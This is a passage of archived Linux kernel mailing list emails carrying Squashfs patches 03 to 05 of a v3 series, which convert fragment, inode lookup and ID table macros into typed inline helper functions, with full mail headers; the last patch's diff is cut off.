spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=inbvzu44; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=bESHICnM; arc=none smtp.remote-ip=92.204.81.43 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [92.204.81.43]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 71A16606A68C for ; Mon, 23 Nov 2026 03:43:44 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 71A16606A68C Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=inbvzu44; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=bESHICnM Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxlxiqQF; Mon, 23 Nov 2026 03:43:30 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405411; bh=wys9Wx99ZC2EDRSVcGeNB0fz3DNJiTOwnUvw3iVwC5w=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=inbvzu44hzn9so6/bQxl60yjq92VAtgzwn5ron8DhiWQfw3LLaoq4VzGywWa3PWek dCMyYHhtX7BcDJccnhNf1REbeQBzpGCuOfBZHORiHGx3pqPp42fBXaUZpL/pQeALru ze1B11r0uFmNd4vGhV32B9PRUH6/3tmciZ5CAMOs0CZ7POYsauijDu10OAskFVPgp0 UNZ4lkwI6bQ7rkdA9hJq1Z74ms2EsmlyR7knYh/a1+x4PDtZ2bEl8aqcMfZ1w+JUSU aA3Mza+GW9X8Nhb85Pwt0toEVazIOTB+U7DyNWN9D9u7BtWdi78iBvdv1j3V7M3lip MIvTnOC8+Pnuw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405411; bh=wys9Wx99ZC2EDRSVcGeNB0fz3DNJiTOwnUvw3iVwC5w=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=bESHICnMGBDaS2Vn7s2i3idC68sU5mZYOi5k8FmsHgRzqeDs7jJDmy2eWGokWa3VA TMGi0X/LNU1CjqEcnyPAnnvlC+fGHbDodIRJVfUr4mNM3Xxn2ss49piGelMFNaGMxg gOfceGG7bBJAI0tu2tA9oKGiyhpcTXt0kazyiA+lwJIdLIIWApLxfQSVG4MOrAE5EI JZem9W4mpgdfx1CUEI4gqtz2uXJ/Q124XaMIC/xfV+5dEZp7GVjNLTA42ty7i/kqVF fb6WfKivfrReFKqqZ/yiUE9vZsNab4YLiqOs/K7/cnUWdoqomkkngu9MAfQDmZME+w Vy3Zo26Z6tJvw== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b662 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=1h8doul4msz9IIiYaa0A:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 0b0d3cd8c1c257d9f766ad6bd70d49cf:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 03/23] Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions Date: Mon, 23 Nov 2026 03:42:44 +0000 Message-ID: <20261123034304.261742-4-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfJBo9PF2FfPchnYlBdEcqIe6dggd1wT3WlaEKBFnVZBLVszRfSAb5jbUWijG4TneiHgQQCrEChSjg+9uneIGRvBpG8w8eGlidSf8N9j5QY51sd1rp08C 27PKP+B2sb/pb3rAMNDSrkZZ+OCFDNeRR4/ZnHjtPcWxugLUqZfFyKMGVapUSMKy4Prx+XkNU1W9Ud53elcEa64Bnjhtvi1Tw9EYVJASfesY4JRF8mNZBrtT YlaV3Oqxo8p8j5/w+6229BEV/GT9MSOiD8mZrBlzOVQuEI2+mYdE8lcJubWt2+zN Content-Type: text/plain; charset="utf-8" Convert old fashioned #define macros into inline functions. This has the following improvements: 1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors. 2. The inline functions enable more sanity checking to be added in later commits. 3. Inline functions are easier to read than #define macros, which improves code comprehension. Signed-off-by: Phillip Lougher --- fs/squashfs/fragment.c | 7 ++++--- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 20 deletions(-) diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c index 49602b9a42e1..e945d045d55e 100644 --- a/fs/squashfs/fragment.c +++ b/fs/squashfs/fragment.c @@ -26,6 +26,7 @@ =20 #include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" =20 /* @@ -42,8 +43,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned= int fragment, =20 if (fragment >=3D msblk->fragments) return -EIO; - block =3D SQUASHFS_FRAGMENT_INDEX(fragment); - offset =3D SQUASHFS_FRAGMENT_INDEX_OFFSET(fragment); + block =3D squashfs_fragment_index(fragment); + offset =3D squashfs_fragment_index_offset(fragment); =20 start_block =3D le64_to_cpu(msblk->fragment_index[block]); =20 @@ -63,7 +64,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned= int fragment, __le64 *squashfs_read_fragment_index_table(struct super_block *sb, u64 fragment_table_start, u64 next_table, unsigned int fragments) { - unsigned int length =3D SQUASHFS_FRAGMENT_INDEX_BYTES(fragments); + unsigned int length =3D squashfs_fragment_index_bytes(fragments); __le64 *table; =20 /* diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index 6d993531a5df..3dbd174b5f21 100644 --- a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -107,23 +107,6 @@ static inline int squashfs_block_size(__le32 raw) return (size >> 25) ? -EIO : size; } =20 -/* fragment and fragment table defines */ -#define SQUASHFS_FRAGMENT_BYTES(A) \ - ((A) * sizeof(struct squashfs_fragment_entry)) - -#define SQUASHFS_FRAGMENT_INDEX(A) (SQUASHFS_FRAGMENT_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_OFFSET(A) (SQUASHFS_FRAGMENT_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEXES(A) ((SQUASHFS_FRAGMENT_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_BYTES(A) (SQUASHFS_FRAGMENT_INDEXES(A) *\ - sizeof(u64)) - /* inode lookup table defines */ #define SQUASHFS_LOOKUP_BYTES(A) ((A) * sizeof(u64)) =20 diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index afef13cd6dc0..b99ca67c729a 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -51,4 +51,31 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset) { return ((s64)start << 16) | offset; } + +/* fragment and fragment table defines */ +static inline s64 squashfs_fragment_bytes(u32 fragments) +{ + return fragments * sizeof(struct squashfs_fragment_entry); +} + +static inline s32 squashfs_fragment_index(u32 fragments) +{ + return squashfs_fragment_bytes(fragments) / SQUASHFS_METADATA_SIZE; +} + +static inline s16 squashfs_fragment_index_offset(u32 fragments) +{ + return squashfs_fragment_bytes(fragments) % SQUASHFS_METADATA_SIZE; +} + +static inline s32 squashfs_fragment_indexes(u32 fragments) +{ + return (squashfs_fragment_bytes(fragments) + (SQUASHFS_METADATA_SIZE - 1)= ) / + SQUASHFS_METADATA_SIZE; +} + +static inline s32 squashfs_fragment_index_bytes(u32 fragments) +{ + return squashfs_fragment_indexes(fragments) * sizeof(long long); +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.42 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405426; b=0w51CUEbfEzsHpqVxgB6r9b40EQAztmZC/ZtoeodF8GuZ01VxxrTerrNlPr+hDL7QDAM hWblCmkIWRjZS9WdFyxPP6eQGXuBDWnDaOjPG6/G20KG0GGUetrciTMWmIcjNlD8H3FGO xJxa7jTbVn/UYXuomkWGY4oYotFW4d8aetLYv20srvCWjxsgu1FY3w+T43vliw6ud6E+1 J6OpNOX1iwsb7HTaZukQWLIMo2zPjmWnswIJqGTdNdPk7liSlxGrON3p6gPoeVgO3rhiQ 0VQlvgZrORobKvG4yiNAlf7F+8LXixUKEpnvm+kpArnj9ImgnwpyChrc5fKq45+dygQ== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405426; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=Oshb1N+7d3ShFEV384GRopcqnhrg8u+YSeIPC40XOVU=; b=iNDv84l+/1/Elb5swznbnSLLCdJnrliQCNR4MtzNVPuz2k8uqAT9eDBmJm1UkGDaFqG7 mp20jmRJxwQ6kHXW020zahKS1kcn1sfb3FARlokUwZ6v5OUAhNZSVFpe5qwTycTqORa9P 2hY7JIOXVQ42FxlDB9aTQ80kZN3jz28oCEer7EHNw4OPjt7+N/+sRmFM7GeXUT8yC0BDe brnMBArDASlv2JVitmZB0p0ZWGX3+/FDCNTwuxEszAbeaSD3lxXdxvXTTGU71GA5cPe3p Q5U2Y9s31tAW//A25BM6wDw5T+dsqPAO6Q3OT+v+5Ohk4CdFSiYVIaIRPIJTakRfTNA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=ReFTMixp; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=pxM7noPj; arc=none smtp.remote-ip=188.121.53.42 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.42]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id D369B606A685 for ; Mon, 23 Nov 2026 03:43:45 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org D369B606A685 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=ReFTMixp; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=pxM7noPj Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxnxiqQL; Mon, 23 Nov 2026 03:43:31 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405412; bh=Oshb1N+7d3ShFEV384GRopcqnhrg8u+YSeIPC40XOVU=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=ReFTMixpRZqYDpYiE6h0tjbj6R5FO6NPjteRvmZzguVyeNp2G7kfHkOSigihjKstM YmC2oH7mcGcSJYOmM/jmUg7SaY+TwsdM0VhTAREAK9TDmd5wR9i2yNHyLUpJoNs9SH qoEkz7cLS/SxAn8y+BhdOlxrFloQbIJeZyIK00EMmiIfy/mv571RXfApH2FkYqc+Rz 6V6QUTa5a3yPKKprCFAZtJzsBxxwk8P65SwXmvYWWKyxabgvXgvtFwEwP+YNWHX4jm 11Jb8ostSLBkWFObnWIpNuyOzVAWAF3Z/U2Avm0EuFAzjy/vtVfm3L6VcYqysJWhpp 2Du4OsQGH2Jeg== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405412; bh=Oshb1N+7d3ShFEV384GRopcqnhrg8u+YSeIPC40XOVU=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=pxM7noPjJk8tVFQhGTVARlvt9Rp/yg/rn9nk7J98HtcGDG5WHs9VRfykkLkrKOfv2 Klz0e9rwaKWQ6sEL7Pt7TC61YKnU4z3fmmlLJ9ynI3jSLN2bLzxXfOhFCrkAHhDh+f Eu40RsgGrAEfA0U7Mb9PZNuo1xgOwB3MyzHWJ7RmL7nNq62KPaA7M2/JGjYokYdPmm qXTS4c9GgKjChJAjBSEbomTjg3BveTRLgJVirZvD9y9UJghJ6xDNRXZVjjG4ufbrOK 2bvIXVPsGqUPy6KwNQeefGSGcAAAVn9F4f4qp7vxLsbWk3CufE7UeDo2asxKhSyvzm bjUi4uYQ1pMoQ== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b663 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=_bInhHkTttLfAsG6xnIA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 1fdab1a336b49cbd43da0b966ac5bc4e:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 04/23] Squashfs: convert SQUASHFS_LOOKUP_* to inline functions Date: Mon, 23 Nov 2026 03:42:45 +0000 Message-ID: <20261123034304.261742-5-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfNRePthvxLMr7gkzti9bEDj+K0KQo8mgKpSRLRqTvbnubIG94vJPs5vFxEsF7jc42DfBw7Y+76Mi5IChcYWG0w6PTEctsL0Z+ASZcy6/RTHri2dCNg83 CcC4DnS2bta8v6TfOWSupj3zIciuoPULLs6M7Y23Inq15YHVw2jKDinIWYdfUbr08XHuTLTCFIWP9kYmn9SF8huTY9TtV5yBdqGbUGcced+ASKSZ8aEmfaKT f8G6eoIXFAcSSj54SF1WD2gTz/qLfp13NspzRVw7FnhStDLUyOyL4jmUYbDMb3xB Content-Type: text/plain; charset="utf-8" Convert old fashioned #define macros into inline functions. This has the following improvements: 1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors. 2. The inline functions enable more sanity checking to be added in later commits. 3. Inline functions are easier to read than #define macros, which improves code comprehension. Signed-off-by: Phillip Lougher --- fs/squashfs/export.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 16 ---------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 20 deletions(-) diff --git a/fs/squashfs/export.c b/fs/squashfs/export.c index 62972f0ff868..ad7cc882d789 100644 --- a/fs/squashfs/export.c +++ b/fs/squashfs/export.c @@ -31,6 +31,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" =20 /* @@ -39,8 +40,8 @@ static long long squashfs_inode_lookup(struct super_block *sb, int ino_num) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int blk =3D SQUASHFS_LOOKUP_BLOCK(ino_num - 1); - int offset =3D SQUASHFS_LOOKUP_BLOCK_OFFSET(ino_num - 1); + int blk =3D squashfs_lookup_block(ino_num - 1); + int offset =3D squashfs_lookup_block_offset(ino_num - 1); u64 start; __le64 ino; int err; @@ -115,8 +116,8 @@ static struct dentry *squashfs_get_parent(struct dentry= *child) __le64 *squashfs_read_inode_lookup_table(struct super_block *sb, u64 lookup_table_start, u64 next_table, unsigned int inodes) { - unsigned int length =3D SQUASHFS_LOOKUP_BLOCK_BYTES(inodes); - unsigned int indexes =3D SQUASHFS_LOOKUP_BLOCKS(inodes); + unsigned int length =3D squashfs_lookup_block_bytes(inodes); + unsigned int indexes =3D squashfs_lookup_blocks(inodes); int n; __le64 *table; u64 start, end; diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index 3dbd174b5f21..89b998f57a2b 100644 --- a/fs/squashfs/squashfs_fs.h +++ b/fs/squashfs/squashfs_fs.h @@ -107,22 +107,6 @@ static inline int squashfs_block_size(__le32 raw) return (size >> 25) ? -EIO : size; } =20 -/* inode lookup table defines */ -#define SQUASHFS_LOOKUP_BYTES(A) ((A) * sizeof(u64)) - -#define SQUASHFS_LOOKUP_BLOCK(A) (SQUASHFS_LOOKUP_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_OFFSET(A) (SQUASHFS_LOOKUP_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCKS(A) ((SQUASHFS_LOOKUP_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_BYTES(A) (SQUASHFS_LOOKUP_BLOCKS(A) *\ - sizeof(u64)) - /* uid/gid lookup table defines */ #define SQUASHFS_ID_BYTES(A) ((A) * sizeof(unsigned int)) =20 diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index b99ca67c729a..aafc75a3a435 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -78,4 +78,31 @@ static inline s32 squashfs_fragment_index_bytes(u32 frag= ments) { return squashfs_fragment_indexes(fragments) * sizeof(long long); } + +/* inode lookup table defines */ +static inline s64 squashfs_lookup_bytes(u32 inodes) +{ + return (s64) inodes * sizeof(s64); +} + +static inline s32 squashfs_lookup_block(u32 inodes) +{ + return squashfs_lookup_bytes(inodes) / SQUASHFS_METADATA_SIZE; +} + +static inline s16 squashfs_lookup_block_offset(u32 inodes) +{ + return squashfs_lookup_bytes(inodes) % SQUASHFS_METADATA_SIZE; +} + +static inline s32 squashfs_lookup_blocks(u32 inodes) +{ + return (squashfs_lookup_bytes(inodes) + (SQUASHFS_METADATA_SIZE - 1)) / + SQUASHFS_METADATA_SIZE; +} + +static inline s32 squashfs_lookup_block_bytes(u32 inodes) +{ + return squashfs_lookup_blocks(inodes) * sizeof(long long); +} #endif --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.41 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405427; b=q2u6/ZVrIpVFG/aqjXINYtorN9c4772d5YFBbF2p3M0SoSMSbAalhtFC9QYpSmPxAHUa 4/H7xkdREElSWc5tMu5qiI9a8bC+ZLvMMvlkpApR/kPcog0sDn8C1SFJcgMpwY59jw/+b TPNZGcj9nQtmaq87XmXAslCFZ5DG+HX8wMIuuCLde1UmBC5WU/GYnd0PJjm/mcWNidctg m0own6mzl0UEzIBs0LfOg+uX5mqPGKGhNNYElNG3Ia2BQQrX/Dr5yB6MyPqiAokqffQ43 e7NDhOOSEWbdtZdO09pGD+Ax+eDFm4g+VxyEI+I6uQIy+U1TMxJ/yONJk5gPfSpFOrA== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405427; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=RTWmlxaQ2Ha8YBAMirwSslA1bBfEFfgbfyLjXOotjxc=; b=zsZHqcipRULNR6BsjSFC0h6J4HTVigUxKq+7zV+GUzUFR8BMDSyTPEvN3cGAWaXGCUIu 3WdmSS1zLC0AnkbrQA8LFynEFuwcAlKyWwfY89yJQ1h8GbAAYoEdlkOrRAajcKh3vj6SX pHdWJeq/mli0lvE9i/LoS4UAwNl6ooJsIj8nrZ/iHEwjrIm36LKSX6Z18VRpOTr0LJniG kKRuuoBgO3R/hVr6G91b7t4jM8YF5DRWgXEspIS8/pPgoDeKJJ/gIi4lzMlZmxJulh/8k FAdhMDf56dEnmYaKmnv8ziGj6GvZYP/dirEDEScKHrDnEBmfJ2Rv40ANO31iigXOnaA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=IZOk6HF5; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=bc33HOUI; arc=none smtp.remote-ip=188.121.53.41 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.41]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 7C3EF606A6B1 for ; Mon, 23 Nov 2026 03:43:46 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 7C3EF606A6B1 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=IZOk6HF5; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=bc33HOUI Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxoxiqQS; Mon, 23 Nov 2026 03:43:32 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405413; bh=RTWmlxaQ2Ha8YBAMirwSslA1bBfEFfgbfyLjXOotjxc=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=IZOk6HF5nBnOXcGI/0l4hYN7cEZjsYzlH6tvVwICZ08laZx9aNmdkfOe3dif/pbL9 rMYufTgN+JtF+jX8T3krmn6Azx2pk8RxAtwdAmo8zjsIO0ndyOiCxNd19JBb9JWhym N6voP/D4Ku0BvFFW6KbSTDbP4Ar3lVW9o/rXLVddkReMGIzTHzrg/Bes2tB/qJN5Pz rrPZeuyKmHTgew9lWHqJ0oHGmTuT0i7Jak7/vap6aLnqm2lbjkko+4821AgXkaETAs REFGBOR4XeL1GdLItZwd6IqLk0pf3jvtzD589M3bwEt6sUfoVb3mnTfIE1TRd7PqCH zHkfCozGrjeHg== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405413; bh=RTWmlxaQ2Ha8YBAMirwSslA1bBfEFfgbfyLjXOotjxc=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=bc33HOUIS/DY6liz9f0VbRG2hmhEb6T8VqkA/EsO3cl5mHjtO6HwIp/G6jpu/0Aig 7I8rnhE0MVS4dRNgBqe79YsLcG6jkevJhSvpdFr3rwRZI/yX4nfDHygGC8HirzKiZR n4U6Nna89CJCg588xr0VfpaOlNHxLii6AV12zTbhlcgQJhnJTFwZvoVa1fwaOLUifC UQV5Nero7dC4LmFYKIPOB+ZQ/l/OeTtkSCwLZ3jPmPkPSWb7T3skYII4AietFThJcW GbmiIselCpeRPdHLXUIrWQZbMR+bobLGVepazSRUdQxdj/t+diolRZUHC9OdkhDFlS et1NvVUkQ18pQ== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b665 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=_bInhHkTttLfAsG6xnIA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: 8ff9135744a45be5530f50e4fbd2f054:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 05/23] Squashfs: convert SQUASHFS_ID_* to inline functions Date: Mon, 23 Nov 2026 03:42:46 +0000 Message-ID: <20261123034304.261742-6-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfFfHxseJVKuDXxrgDWX5wY1epzGPA4uJlwFFMBKJtMjBhxXYxzT9dqOVYPxqjJlTM9f2Y/vlYiXPLtAvaP3U0Sh1DZRtAQgXqy4iRM+TtKrrem5vsWr3 Swl0Wej5fZFlEL8lglUE8z0RQjr+B6FUDg+2IRrxfxLv0lJMTZLcyP4s+awDmBFF2+vLmdcuOgCN9+21qTcRf74Cb9mgTHvUo8T8IECpP3okfaECXASlzkll MErvNWSgYkJ5I05FvQs8W3Mupn8OYAiebggEHdtgn784FZ8ytOtQD4EHK77ucGCA Content-Type: text/plain; charset="utf-8" Convert old fashioned #define macros into inline functions. This has the following improvements: 1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors. 2. The inline functions enable more sanity checking to be added in later commits. 3. Inline functions are easier to read than #define macros, which improves code comprehension. Signed-off-by: Phillip Lougher --- fs/squashfs/id.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 15 --------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 19 deletions(-) diff --git a/fs/squashfs/id.c b/fs/squashfs/id.c index ea5387679723..5630f5ec159a 100644 --- a/fs/squashfs/id.c +++ b/fs/squashfs/id.c @@ -24,6 +24,7 @@ =20 #include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" =20 /* @@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int = index, unsigned int *id) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; - int block =3D SQUASHFS_ID_BLOCK(index); - int offset =3D SQUASHFS_ID_BLOCK_OFFSET(index); + int block =3D squashfs_id_block(index); + int offset =3D squashfs_id_block_offset(index); u64 start_block; __le32 disk_id; int err; @@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int = index, __le64 *squashfs_read_id_index_table(struct super_block *sb, u64 id_table_start, u64 next_table, unsigned short no_ids) { - unsigned int length =3D SQUASHFS_ID_BLOCK_BYTES(no_ids); - unsigned int indexes =3D SQUASHFS_ID_BLOCKS(no_ids); + unsigned int length =3D squashfs_id_block_bytes(no_ids); + unsigned int indexes =3D squashfs_id_blocks(no_ids); int n; __le64 *table; u64 start, end; diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h index 89b998f57a2b..25dd89a2c6ad 100644 --- 